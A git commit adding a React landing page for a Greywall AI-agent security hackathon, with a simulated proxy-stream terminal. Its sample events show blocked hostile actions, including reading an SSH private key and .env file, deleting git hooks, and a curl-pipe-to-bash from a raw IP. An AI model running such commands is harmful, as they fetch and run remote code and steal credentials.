feat: hackathon landing mvp
This commit is contained in:
469
app/hackathons/page.tsx
Normal file
469
app/hackathons/page.tsx
Normal file
@@ -0,0 +1,469 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef, Suspense } from 'react'
|
||||
import dynamic from 'next/dynamic'
|
||||
import {
|
||||
Activity,
|
||||
Shield,
|
||||
Code2,
|
||||
ChevronDown,
|
||||
ArrowRight,
|
||||
Users,
|
||||
Trophy,
|
||||
GitMerge,
|
||||
Star,
|
||||
Terminal,
|
||||
Clock,
|
||||
MapPin,
|
||||
Cpu,
|
||||
Boxes,
|
||||
Sparkles,
|
||||
} from 'lucide-react'
|
||||
import { Footer } from '@/components/footer'
|
||||
import { LiveTerminal } from '@/components/hackathons/live-terminal'
|
||||
import { StreamViz, SecureViz, ExtendViz } from '@/components/hackathons/track-visuals'
|
||||
|
||||
const ShieldScene = dynamic(
|
||||
() => import('@/components/hackathons/shield-scene').then((m) => m.ShieldScene),
|
||||
{ ssr: false }
|
||||
)
|
||||
|
||||
/* ─── Hooks ─── */
|
||||
|
||||
function useInView(threshold = 0.15) {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const [visible, setVisible] = useState(false)
|
||||
useEffect(() => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const obs = new IntersectionObserver(([e]) => { if (e.isIntersecting) { setVisible(true); obs.unobserve(el) } }, { threshold })
|
||||
obs.observe(el)
|
||||
return () => obs.disconnect()
|
||||
}, [threshold])
|
||||
return { ref, visible }
|
||||
}
|
||||
|
||||
function Counter({ target, suffix = '' }: { target: number; suffix?: string }) {
|
||||
const [count, setCount] = useState(0)
|
||||
const { ref, visible } = useInView(0.3)
|
||||
useEffect(() => {
|
||||
if (!visible) return
|
||||
let start = 0
|
||||
const step = (ts: number) => {
|
||||
if (!start) start = ts
|
||||
const p = Math.min((ts - start) / 1200, 1)
|
||||
setCount(Math.floor(p * target))
|
||||
if (p < 1) requestAnimationFrame(step)
|
||||
}
|
||||
requestAnimationFrame(step)
|
||||
}, [visible, target])
|
||||
return <span ref={ref as React.RefObject<HTMLSpanElement>}>{count}{suffix}</span>
|
||||
}
|
||||
|
||||
/* ─── Nav ─── */
|
||||
|
||||
function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" /><circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" /><circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<a href="#tracks" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">Tracks</a>
|
||||
<a href="#faq" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">FAQ</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24"><path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" /></svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Hero with 3D Shield ─── */
|
||||
|
||||
function Hero() {
|
||||
return (
|
||||
<section className="relative pt-28 sm:pt-40 pb-28 sm:pb-40 px-4 sm:px-6 overflow-hidden">
|
||||
{/* 3D Shield as background */}
|
||||
<div className="absolute inset-0 z-0 opacity-60">
|
||||
<Suspense fallback={null}>
|
||||
<ShieldScene />
|
||||
</Suspense>
|
||||
</div>
|
||||
|
||||
{/* Gradient overlays to keep text readable */}
|
||||
<div className="absolute inset-0 z-[1] bg-[radial-gradient(ellipse_at_center,rgba(22,22,20,0.4)_0%,rgba(22,22,20,0.8)_70%)]" />
|
||||
<div className="absolute inset-0 z-[1] bg-gradient-to-b from-background/60 via-transparent to-background" />
|
||||
|
||||
<div className="relative z-[2] mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-6xl sm:text-7xl md:text-8xl font-semibold tracking-tight leading-[1] mb-6">
|
||||
Hack the <em className="italic text-primary">Wall.</em>
|
||||
</h1>
|
||||
<p className="text-xl sm:text-2xl text-muted-foreground font-serif mb-8 max-w-xl mx-auto">
|
||||
Build on the AI agent security stack. Your best hacks get merged into Greywall.
|
||||
</p>
|
||||
<a
|
||||
href="#tracks"
|
||||
className="inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base"
|
||||
>
|
||||
Explore tracks
|
||||
<ArrowRight className="h-4 w-4" />
|
||||
</a>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Stats ─── */
|
||||
|
||||
function Stats() {
|
||||
return (
|
||||
<section className="py-12 px-4 sm:px-6 border-t border-b border-border/30">
|
||||
<div className="mx-auto max-w-3xl grid grid-cols-3 gap-8 text-center">
|
||||
{[
|
||||
{ value: 24, suffix: 'h', label: 'of hacking' },
|
||||
{ value: 3, suffix: '', label: 'open-ended tracks' },
|
||||
{ value: 100, suffix: '%', label: 'open source' },
|
||||
].map((stat) => (
|
||||
<div key={stat.label}>
|
||||
<div className="font-serif text-4xl sm:text-5xl font-semibold text-primary mb-1">
|
||||
<Counter target={stat.value} suffix={stat.suffix} />
|
||||
</div>
|
||||
<div className="text-sm text-muted-foreground font-sans">{stat.label}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Live Terminal Showcase ─── */
|
||||
|
||||
function TerminalShowcase() {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-20 sm:py-28 px-4 sm:px-6">
|
||||
<div className={`mx-auto max-w-5xl grid md:grid-cols-2 gap-10 items-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}>
|
||||
<div>
|
||||
<p className="text-xs font-sans uppercase tracking-wider text-primary font-medium mb-4">The data stream</p>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Every agent action. In real time.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Greywall's proxy captures every request, file access, and command your AI agent executes. This is what you'll be building on.
|
||||
</p>
|
||||
</div>
|
||||
<LiveTerminal />
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Tracks with visuals ─── */
|
||||
|
||||
const tracks = [
|
||||
{
|
||||
id: 'stream',
|
||||
icon: Activity,
|
||||
title: 'Build on the Stream',
|
||||
hook: 'One live data firehose. Make something cool with it.',
|
||||
color: 'from-orange-500/10 to-amber-500/5',
|
||||
borderColor: 'hover:border-orange-500/30',
|
||||
examples: ['Dashboards', 'Anomaly detection', 'Cost trackers', 'Behavior research', 'Bots', 'Art'],
|
||||
Visual: StreamViz,
|
||||
},
|
||||
{
|
||||
id: 'secure',
|
||||
icon: Shield,
|
||||
title: 'Secure Your Stack',
|
||||
hook: 'Bring your own project. Lock it down. Demo the tightest sandbox.',
|
||||
color: 'from-emerald-500/10 to-teal-500/5',
|
||||
borderColor: 'hover:border-emerald-500/30',
|
||||
examples: ['Policy templates', 'Threat models', 'Security writeups', 'Monitoring configs'],
|
||||
Visual: SecureViz,
|
||||
},
|
||||
{
|
||||
id: 'extend',
|
||||
icon: Code2,
|
||||
title: 'Extend Greywall',
|
||||
hook: 'Plugin, CLI tool, VS Code extension, web UI. If it\'s cool, it counts.',
|
||||
color: 'from-violet-500/10 to-purple-500/5',
|
||||
borderColor: 'hover:border-violet-500/30',
|
||||
examples: ['IDE plugins', 'NLP policies', 'Cost guardians', 'Grafana integrations', 'Wild ideas'],
|
||||
Visual: ExtendViz,
|
||||
},
|
||||
]
|
||||
|
||||
function TrackCard({ track, index }: { track: typeof tracks[0]; index: number }) {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className={`transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}
|
||||
style={{ transitionDelay: `${index * 120}ms` }}
|
||||
>
|
||||
<div className={`group relative rounded-2xl border border-border/40 ${track.borderColor} bg-gradient-to-br ${track.color} transition-all duration-300 overflow-hidden`}>
|
||||
<div className="absolute top-0 left-0 right-0 h-px bg-gradient-to-r from-transparent via-primary/30 to-transparent opacity-0 group-hover:opacity-100 transition-opacity" />
|
||||
|
||||
<div className="flex">
|
||||
{/* Content */}
|
||||
<div className="flex-1 p-8 sm:p-10 relative z-10">
|
||||
<div className="flex items-center gap-3 mb-6">
|
||||
<div className="flex items-center justify-center w-12 h-12 rounded-2xl bg-card/60 border border-border/30 backdrop-blur-sm">
|
||||
<track.icon className="h-6 w-6 text-primary" />
|
||||
</div>
|
||||
<div className="flex items-center gap-2 text-xs text-muted-foreground font-sans">
|
||||
<Clock className="h-3 w-3" />24h
|
||||
<Users className="h-3 w-3 ml-1" />Teams
|
||||
<MapPin className="h-3 w-3 ml-1" />Montreal
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<h3 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-3">
|
||||
{track.title}
|
||||
</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-6 max-w-md">
|
||||
{track.hook}
|
||||
</p>
|
||||
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{track.examples.map((ex) => (
|
||||
<span key={ex} className="px-3 py-1.5 text-xs font-sans font-medium rounded-full bg-card/60 border border-border/30 text-muted-foreground backdrop-blur-sm">
|
||||
{ex}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Side visual */}
|
||||
<div className="hidden md:block w-[220px] shrink-0 relative overflow-hidden">
|
||||
<track.Visual />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function Tracks() {
|
||||
return (
|
||||
<section id="tracks" className="py-24 sm:py-32 px-4 sm:px-6">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="text-center mb-16">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight mb-4">
|
||||
Pick your arena.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground">
|
||||
Three tracks. All open-ended. You bring the creativity.
|
||||
</p>
|
||||
</div>
|
||||
<div className="space-y-6">
|
||||
{tracks.map((track, i) => (
|
||||
<TrackCard key={track.id} track={track} index={i} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── How It Works ─── */
|
||||
|
||||
const steps = [
|
||||
{ icon: Sparkles, title: 'Register', sub: 'All levels welcome' },
|
||||
{ icon: Terminal, title: 'Get set up', sub: 'We provide everything' },
|
||||
{ icon: Cpu, title: 'Hack for 24h', sub: 'Mentors on hand' },
|
||||
{ icon: Trophy, title: 'Demo & win', sub: 'Best hacks ship' },
|
||||
]
|
||||
|
||||
function HowItWorks() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section id="how-it-works" ref={ref} className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight text-center mb-16">
|
||||
How it works.
|
||||
</h2>
|
||||
|
||||
<div className="relative grid grid-cols-2 sm:grid-cols-4 gap-8">
|
||||
<div className="hidden sm:block absolute top-7 left-[12.5%] right-[12.5%] h-px border-t border-dashed border-border/50" />
|
||||
{steps.map((step, i) => (
|
||||
<div
|
||||
key={step.title}
|
||||
className={`relative text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}
|
||||
style={{ transitionDelay: `${i * 100}ms` }}
|
||||
>
|
||||
<div className="inline-flex items-center justify-center w-14 h-14 rounded-2xl bg-card/60 border border-border/40 mb-4 relative z-10 backdrop-blur-sm">
|
||||
<step.icon className="h-6 w-6 text-primary" />
|
||||
</div>
|
||||
<h3 className="font-serif text-lg font-semibold mb-1">{step.title}</h3>
|
||||
<p className="text-sm text-muted-foreground font-sans">{step.sub}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Prizes ─── */
|
||||
|
||||
function Prizes() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
const items = [
|
||||
{ icon: GitMerge, title: 'Code gets merged', sub: 'Your hack becomes the product' },
|
||||
{ icon: Star, title: 'Contributor credit', sub: 'Name in the release notes' },
|
||||
{ icon: Boxes, title: 'Demo day invite', sub: 'Present to the community' },
|
||||
{ icon: Trophy, title: 'Community status', sub: 'Featured on greywall.io' },
|
||||
]
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight text-center mb-4">
|
||||
More than a trophy.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground text-center mb-16">
|
||||
The best hacks ship.
|
||||
</p>
|
||||
<div className="grid grid-cols-2 sm:grid-cols-4 gap-6">
|
||||
{items.map((item, i) => (
|
||||
<div
|
||||
key={item.title}
|
||||
className={`text-center p-6 rounded-2xl border border-border/30 bg-card/20 hover:bg-card/40 hover:border-primary/20 transition-all duration-500 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}
|
||||
style={{ transitionDelay: `${i * 80}ms` }}
|
||||
>
|
||||
<div className="inline-flex items-center justify-center w-12 h-12 rounded-xl bg-primary/10 border border-primary/15 mb-4">
|
||||
<item.icon className="h-5 w-5 text-primary" />
|
||||
</div>
|
||||
<h3 className="font-serif text-base font-semibold mb-1">{item.title}</h3>
|
||||
<p className="text-xs text-muted-foreground font-sans">{item.sub}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Location ─── */
|
||||
|
||||
function Location() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className={`mx-auto max-w-5xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<div className="inline-flex items-center gap-2 mb-4">
|
||||
<MapPin className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">Location</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight mb-4">
|
||||
Montreal.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground">
|
||||
Venue and dates announced soon.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── FAQ ─── */
|
||||
|
||||
const faqs = [
|
||||
{ q: 'Do I need security experience?', a: 'No. All experience levels welcome. If you can write code, you can participate.' },
|
||||
{ q: 'Do I need to know Greywall?', a: 'Nope. We provide setup support and Greywall maintainers are on hand throughout.' },
|
||||
{ q: 'Is it in-person only?', a: 'Yes. Hackathons are a social experience. Plus, you get direct access to maintainers all day.' },
|
||||
{ q: 'What happens to my code?', a: 'Your code is yours. Winning hacks get merged into Greywall with your full contributor credit, but only with your consent.' },
|
||||
{ q: 'What do I need to bring?', a: 'A laptop. We provide Greywall infrastructure, data streams, docs, food, and caffeine.' },
|
||||
]
|
||||
|
||||
function FAQ() {
|
||||
return (
|
||||
<section id="faq" className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-3xl">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight text-center mb-16">FAQ.</h2>
|
||||
<div>
|
||||
{faqs.map((faq) => <FAQItem key={faq.q} question={faq.q} answer={faq.a} />)}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button onClick={() => setOpen(!open)} className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer">
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold">{question}</h3>
|
||||
<ChevronDown className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${open ? 'rotate-180' : ''}`} />
|
||||
</button>
|
||||
<div className={`grid transition-[grid-template-rows] duration-200 ${open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'}`}>
|
||||
<div className="overflow-hidden">
|
||||
<p className="pb-5 text-muted-foreground font-serif text-base leading-relaxed">{answer}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Final CTA ─── */
|
||||
|
||||
function FinalCTA() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-28 sm:py-36 px-4 sm:px-6 border-t border-border/30 relative overflow-hidden">
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_center,rgba(217,94,42,0.08)_0%,transparent_60%)]" />
|
||||
<div className={`relative mx-auto max-w-3xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<h2 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight mb-8">
|
||||
Build something that <em className="italic text-primary">ships.</em>
|
||||
</h2>
|
||||
<a href="mailto:hello@greyhaven.co" className="inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base">
|
||||
Get notified when registration opens
|
||||
<ArrowRight className="h-4 w-4" />
|
||||
</a>
|
||||
<p className="text-xs text-muted-foreground/50 font-sans mt-8">
|
||||
Follow{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary/60 hover:text-primary/80 transition-colors">Greywall on GitHub</a>{' '}
|
||||
for updates.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Page ─── */
|
||||
|
||||
export default function HackathonsPage() {
|
||||
return (
|
||||
<main className="min-h-screen">
|
||||
<Nav />
|
||||
<Hero />
|
||||
<Stats />
|
||||
<TerminalShowcase />
|
||||
<Tracks />
|
||||
<HowItWorks />
|
||||
<Prizes />
|
||||
<Location />
|
||||
<FAQ />
|
||||
<FinalCTA />
|
||||
<Footer />
|
||||
</main>
|
||||
)
|
||||
}
|
||||
91
components/hackathons/live-terminal.tsx
Normal file
91
components/hackathons/live-terminal.tsx
Normal file
@@ -0,0 +1,91 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Simulated live data stream terminal ─── */
|
||||
|
||||
const streamLines = [
|
||||
{ type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' },
|
||||
{ type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' },
|
||||
{ type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' },
|
||||
{ type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' },
|
||||
{ type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' },
|
||||
{ type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' },
|
||||
{ type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' },
|
||||
]
|
||||
|
||||
export function LiveTerminal() {
|
||||
const [lines, setLines] = useState<typeof streamLines>([])
|
||||
const [currentIndex, setCurrentIndex] = useState(0)
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const interval = setInterval(() => {
|
||||
setCurrentIndex((prev) => {
|
||||
const next = (prev + 1) % streamLines.length
|
||||
setLines((prevLines) => {
|
||||
const newLines = [...prevLines, streamLines[next]]
|
||||
return newLines.slice(-8) // Keep last 8 visible
|
||||
})
|
||||
return next
|
||||
})
|
||||
}, 1800)
|
||||
|
||||
return () => clearInterval(interval)
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (containerRef.current) {
|
||||
containerRef.current.scrollTop = containerRef.current.scrollHeight
|
||||
}
|
||||
}, [lines])
|
||||
|
||||
return (
|
||||
<div className="rounded-2xl border border-border/40 bg-[#1a1a18] overflow-hidden shadow-2xl shadow-black/30">
|
||||
{/* Title bar */}
|
||||
<div className="flex items-center gap-2 px-4 py-2.5 border-b border-border/20 bg-[#1e1e1b]">
|
||||
<div className="flex gap-1.5">
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ff5f57]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ffbd2e]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#28c840]" />
|
||||
</div>
|
||||
<span className="text-[10px] text-muted-foreground/50 font-mono ml-2">greywall proxy stream</span>
|
||||
<div className="ml-auto flex items-center gap-1.5">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-emerald-500 animate-pulse" />
|
||||
<span className="text-[10px] text-emerald-500/70 font-mono">live</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Stream content */}
|
||||
<div ref={containerRef} className="p-4 h-[260px] overflow-hidden font-mono text-xs leading-relaxed">
|
||||
{lines.map((line, i) => (
|
||||
<div
|
||||
key={`${i}-${line.text}`}
|
||||
className="flex items-start gap-2 py-0.5 animate-fade-up"
|
||||
style={{ animationDuration: '0.3s' }}
|
||||
>
|
||||
<span className={`shrink-0 font-bold ${line.type === 'block' ? 'text-red-400' : 'text-emerald-400'}`}>
|
||||
{line.type === 'block' ? 'DENY' : ' OK '}
|
||||
</span>
|
||||
<span className="text-muted-foreground/70 flex-1 truncate">{line.text}</span>
|
||||
<span className="text-muted-foreground/30 shrink-0">{line.time}</span>
|
||||
</div>
|
||||
))}
|
||||
{/* Blinking cursor */}
|
||||
<div className="flex items-center gap-1 pt-1">
|
||||
<span className="text-primary/60">{'>'}</span>
|
||||
<span className="w-1.5 h-3.5 bg-primary/50 animate-pulse" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
219
components/hackathons/shield-scene.tsx
Normal file
219
components/hackathons/shield-scene.tsx
Normal file
@@ -0,0 +1,219 @@
|
||||
'use client'
|
||||
|
||||
import { useRef, useMemo } from 'react'
|
||||
import { Canvas, useFrame } from '@react-three/fiber'
|
||||
import { Float } from '@react-three/drei'
|
||||
import * as THREE from 'three'
|
||||
|
||||
/* ─── Orbiting particles ─── */
|
||||
|
||||
function Particles({ count = 80 }: { count?: number }) {
|
||||
const mesh = useRef<THREE.InstancedMesh>(null)
|
||||
const dummy = useMemo(() => new THREE.Object3D(), [])
|
||||
|
||||
const particles = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => ({
|
||||
radius: 1.8 + Math.random() * 1.4,
|
||||
speed: 0.15 + Math.random() * 0.3,
|
||||
offset: (i / count) * Math.PI * 2,
|
||||
y: (Math.random() - 0.5) * 2.5,
|
||||
size: 0.015 + Math.random() * 0.025,
|
||||
}))
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!mesh.current) return
|
||||
const t = clock.getElapsedTime()
|
||||
particles.forEach((p, i) => {
|
||||
const angle = p.offset + t * p.speed
|
||||
dummy.position.set(
|
||||
Math.cos(angle) * p.radius,
|
||||
p.y + Math.sin(t * 0.5 + p.offset) * 0.3,
|
||||
Math.sin(angle) * p.radius
|
||||
)
|
||||
dummy.scale.setScalar(p.size * (0.8 + Math.sin(t * 2 + p.offset) * 0.2))
|
||||
dummy.updateMatrix()
|
||||
mesh.current!.setMatrixAt(i, dummy.matrix)
|
||||
})
|
||||
mesh.current.instanceMatrix.needsUpdate = true
|
||||
})
|
||||
|
||||
return (
|
||||
<instancedMesh ref={mesh} args={[undefined, undefined, count]}>
|
||||
<sphereGeometry args={[1, 8, 8]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.6} />
|
||||
</instancedMesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Orbital rings ─── */
|
||||
|
||||
function OrbitalRing({ radius, speed, tilt }: { radius: number; speed: number; tilt: number }) {
|
||||
const ref = useRef<THREE.Mesh>(null)
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.z = tilt
|
||||
ref.current.rotation.y = clock.getElapsedTime() * speed
|
||||
})
|
||||
|
||||
return (
|
||||
<mesh ref={ref}>
|
||||
<torusGeometry args={[radius, 0.005, 16, 100]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.15} />
|
||||
</mesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Shield geometry ─── */
|
||||
|
||||
function ShieldMesh() {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const shieldShape = useMemo(() => {
|
||||
const shape = new THREE.Shape()
|
||||
// Shield outline
|
||||
shape.moveTo(0, 1.3)
|
||||
shape.bezierCurveTo(0.6, 1.2, 1.0, 0.9, 1.0, 0.4)
|
||||
shape.bezierCurveTo(1.0, -0.2, 0.7, -0.8, 0, -1.3)
|
||||
shape.bezierCurveTo(-0.7, -0.8, -1.0, -0.2, -1.0, 0.4)
|
||||
shape.bezierCurveTo(-1.0, 0.9, -0.6, 1.2, 0, 1.3)
|
||||
return shape
|
||||
}, [])
|
||||
|
||||
const extrudeSettings = useMemo(() => ({
|
||||
depth: 0.15,
|
||||
bevelEnabled: true,
|
||||
bevelThickness: 0.03,
|
||||
bevelSize: 0.03,
|
||||
bevelSegments: 3,
|
||||
}), [])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = Math.sin(clock.getElapsedTime() * 0.3) * 0.15
|
||||
})
|
||||
|
||||
return (
|
||||
<Float speed={1.5} rotationIntensity={0.2} floatIntensity={0.3}>
|
||||
<group ref={ref}>
|
||||
{/* Shield body */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, extrudeSettings]} />
|
||||
<meshStandardMaterial
|
||||
color="#1a1a18"
|
||||
metalness={0.7}
|
||||
roughness={0.3}
|
||||
emissive="#D95E2A"
|
||||
emissiveIntensity={0.05}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Inner shield face */}
|
||||
<mesh position={[0, 0, 0.08]}>
|
||||
<shapeGeometry args={[shieldShape]} />
|
||||
<meshStandardMaterial
|
||||
color="#D95E2A"
